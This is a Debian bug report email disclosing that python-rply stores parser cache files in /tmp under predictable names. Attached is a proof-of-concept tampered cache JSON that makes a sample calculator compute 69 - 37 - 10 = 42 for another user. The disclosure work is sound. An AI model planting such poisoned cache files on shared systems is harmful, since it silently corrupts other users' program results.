Resent-From: Jakub Wilk <jwilk@debian.org>
Original-Sender: Jakub Wilk <jwilk@master.debian.org>
Resent-To: debian-bugs-dist@lists.debian.org
Resent-CC: jwilk@debian.org, Debian Python Modules Team
 <python-modules-team@lists.alioth.debian.org>
Resent-Date: Tue, 14 Jan 2014 09:21:01 +0000
Resent-Message-ID: <handler.735263.B.138969104426279@bugs.debian.org>
Date: Tue, 14 Jan 2014 10:17:11 +0100
From: Jakub Wilk <jwilk@debian.org>
To: Debian Bug Tracking System <submit@bugs.debian.org>
Message-ID: <20140114091711.GA3006@jwilk.net>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="3MwIy2ne0vdjdPXF"
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
Resent-Sender: Debian BTS <debbugs@buxtehude.debian.org>
Subject: [Python-modules-team] Bug#735263: python-rply: insecure use of /tmp
Precedence: list
Reply-To: Jakub Wilk <jwilk@debian.org>, 735263@bugs.debian.org
Errors-To: python-modules-team-bounces+dkg=fifthhorseman.net@lists.alioth.debian.org
Sender: "Python-modules-team"
 <python-modules-team-bounces+dkg=fifthhorseman.net@lists.alioth.debian.org>


--3MwIy2ne0vdjdPXF
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Disposition: inline

Source: python-rply
Version: 0.7.0-1
Severity: grave
Tags: security
Justification: user security hole

rply stores its cache files in /tmp. This is insecure, because /tmp is 
world-writable, and the filenames rply uses are of course predicatable.

Proof of concept is attached. If you put the rply-*.json file in /tmp 
and make it world-readable, then the tiny calculator's math will start 
to be slightly off (even when run by a different user than the owner of 
the cache file):

$ ls -l /tmp/rply-*.json
-rw-r--r-- 1 eve users 730 Jan 13 22:20 /tmp/rply-1-tinycalc-72306a09ee3b3fe5697e2d0114eb3ee132a6ff7a.json

$ whoami
jwilk

$ echo 69 - 37 - 10 | python3 tinycalc.py
69 - 37 - 10 = 42

-- 
Jakub Wilk

--3MwIy2ne0vdjdPXF
Content-Type: application/json
Content-Disposition: attachment; filename="rply-1-tinycalc-72306a09ee3b3fe5697e2d0114eb3ee132a6ff7a.json"
Content-Transfer-Encoding: quoted-printable

{"start": "main", "terminals": ["MINUS", "NUMBER", "PLUS", "error"], "lr_go=
to": [{"main": 1, "exp": 2}, {}, {}, {}, {"exp": 6}, {"exp": 7}, {}, {}], "=
rr_conflicts": [], "precedence": {"PLUS": ["left", 1], "MINUS": ["left", 1]=
}, "lr_action": [{"NUMBER": 3}, {"$end": 0}, {"PLUS": 4, "MINUS": 5, "$end"=
: -1}, {"PLUS": -4, "MINUS": -4, "$end": -4}, {"NUMBER": 3}, {"NUMBER": 3},=
 {"PLUS": 4, "MINUS": 5, "$end": -3}, {"PLUS": 4, "MINUS": 5, "$end": -2}],=
 "sr_conflicts": [], "default_reductions": [0, 0, 0, -4, 0, 0, 0, 0], "prod=
uctions": [["S'", ["main"], ["right", 0]], ["main", ["exp"], ["right", 0]],=
 ["exp", ["exp", "MINUS", "exp"], ["left", 1]], ["exp", ["exp", "PLUS", "ex=
p"], ["left", 1]], ["exp", ["NUMBER"], ["right", 0]]]}=0A
--3MwIy2ne0vdjdPXF
Content-Type: text/x-python; charset=us-ascii
Content-Disposition: attachment; filename="tinycalc.py"

#!/usr/bin/python3

import sys

import rply

lg = rply.LexerGenerator()
lg.add('PLUS', r'\+')
lg.add('MINUS', r'-')
lg.add('NUMBER', r'\d+')

lg.ignore(r'\s+')

pg = rply.ParserGenerator(
    ['NUMBER', 'PLUS', 'MINUS'],
    precedence=[('left', ['PLUS', 'MINUS'])],
    cache_id='tinycalc'
)

@pg.production('main : exp')
def main(p):
    [exp] = p
    return exp

@pg.production('exp : exp PLUS exp')
@pg.production('exp : exp MINUS exp')
def exp_op(p):
    [lhs, op, rhs] = p
    rhs = p[2]
    if op.getstr() == '+':
        return lhs + rhs
    else:
        return lhs - rhs

@pg.production('exp : NUMBER')
def exp_num(p):
    [tok] = p
    return int(tok.getstr())

lexer = lg.build()
parser = pg.build()

for line in sys.stdin:
    line = line.strip()
    n = parser.parse(lexer.lex(line))
    print(line, '=', n)

# vim:ts=4 sw=4 et

--3MwIy2ne0vdjdPXF
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
Python-modules-team mailing list
Python-modules-team@lists.alioth.debian.org
http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/python-modules-team
--3MwIy2ne0vdjdPXF--